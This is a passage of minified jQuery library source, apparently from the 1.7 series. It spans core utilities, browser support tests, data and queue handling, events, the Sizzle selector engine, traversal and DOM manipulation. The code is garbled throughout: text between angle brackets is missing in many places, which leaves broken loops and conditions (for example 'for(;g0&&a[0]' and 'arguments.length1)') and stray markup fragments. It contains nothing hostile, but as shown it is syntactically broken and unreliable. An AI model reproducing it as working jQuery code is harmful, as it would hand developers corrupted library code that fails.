b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){if(typeof c!="string"||!c)return null;var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
    a",d=p.getElementsByTagName("*"),e=p.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=p.getElementsByTagName("input")[0],b={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:p.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,pixelMargin:!0},f.boxModel=b.boxModel=c.compatMode==="CSS1Compat",i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete p.test}catch(r){b.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",function(){b.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),i.setAttribute("name","t"),p.appendChild(i),j=c.createDocumentFragment(),j.appendChild(p.lastChild),b.checkClone=j.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,j.removeChild(i),j.appendChild(p);if(p.attachEvent)for(n in{submit:1,change:1,focusin:1})m="on"+n,o=m in p,o||(p.setAttribute(m,"return;"),o=typeof p[m]=="function"),b[n+"Bubbles"]=o;j.removeChild(p),j=g=h=p=i=null,f(function(){var d,e,g,h,i,j,l,m,n,q,r,s,t,u=c.getElementsByTagName("body")[0];!u||(m=1,t="padding:0;margin:0;border:",r="position:absolute;top:0;left:0;width:1px;height:1px;",s=t+"0;visibility:hidden;",n="style='"+r+t+"5px solid #000;",q="
    "+""+"
    ",d=c.createElement("div"),d.style.cssText=s+"width:0;height:0;position:static;top:0;margin-top:"+m+"px",u.insertBefore(d,u.firstChild),p=c.createElement("div"),d.appendChild(p),p.innerHTML="
    t
    ",k=p.getElementsByTagName("td"),o=k[0].offsetHeight===0,k[0].style.display="",k[1].style.display="none",b.reliableHiddenOffsets=o&&k[0].offsetHeight===0,a.getComputedStyle&&(p.innerHTML="",l=c.createElement("div"),l.style.width="0",l.style.marginRight="0",p.style.width="2px",p.appendChild(l),b.reliableMarginRight=(parseInt((a.getComputedStyle(l,null)||{marginRight:0}).marginRight,10)||0)===0),typeof p.style.zoom!="undefined"&&(p.innerHTML="",p.style.width=p.style.padding="1px",p.style.border=0,p.style.overflow="hidden",p.style.display="inline",p.style.zoom=1,b.inlineBlockNeedsLayout=p.offsetWidth===3,p.style.display="block",p.style.overflow="visible",p.innerHTML="
    ",b.shrinkWrapBlocks=p.offsetWidth!==3),p.style.cssText=r+s,p.innerHTML=q,e=p.firstChild,g=e.firstChild,i=e.nextSibling.firstChild.firstChild,j={doesNotAddBorder:g.offsetTop!==5,doesAddBorderForTableAndCells:i.offsetTop===5},g.style.position="fixed",g.style.top="20px",j.fixedPosition=g.offsetTop===20||g.offsetTop===15,g.style.position=g.style.top="",e.style.overflow="hidden",e.style.position="relative",j.subtractsBorderForOverflowNotVisible=g.offsetTop===-5,j.doesNotIncludeMarginInBodyOffset=u.offsetTop!==m,a.getComputedStyle&&(p.style.marginTop="1%",b.pixelMargin=(a.getComputedStyle(p,null)||{marginTop:0}).marginTop!=="1%"),typeof d.style.zoom!="undefined"&&(d.style.zoom=1),u.removeChild(d),l=p=d=null,f.extend(b,j))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e1,null,!1)},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,b){a&&(b=(b||"fx")+"mark",f._data(a,b,(f._data(a,b)||0)+1))},_unmark:function(a,b,c){a!==!0&&(c=b,b=a,a=!1);if(b){c=c||"fx";var d=c+"mark",e=a?0:(f._data(b,d)||1)-1;e?f._data(b,d,e):(f.removeData(b,d,!0),n(b,c,"mark"))}},queue:function(a,b,c){var d;if(a){b=(b||"fx")+"queue",d=f._data(a,b),c&&(!d||f.isArray(c)?d=f._data(a,b,f.makeArray(c)):d.push(c));return d||[]}},dequeue:function(a,b){b=b||"fx";var c=f.queue(a,b),d=c.shift(),e={};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),f._data(a,b+".run",e),d.call(a,function(){f.dequeue(a,b)},e)),c.length||(f.removeData(a,b+"queue "+b+".run",!0),n(a,b,"queue"))}}),f.fn.extend({queue:function(a,c){var d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length1)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(p);for(c=0,d=this.length;c-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function( a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&j.push({elem:this,matches:d.slice(e)});for(k=0;k0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

    ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
    ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*",""],legend:[1,"
    ","
    "],thead:[1,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],col:[2,"","
    "],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
    ","
    "]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f .clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(;d1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var 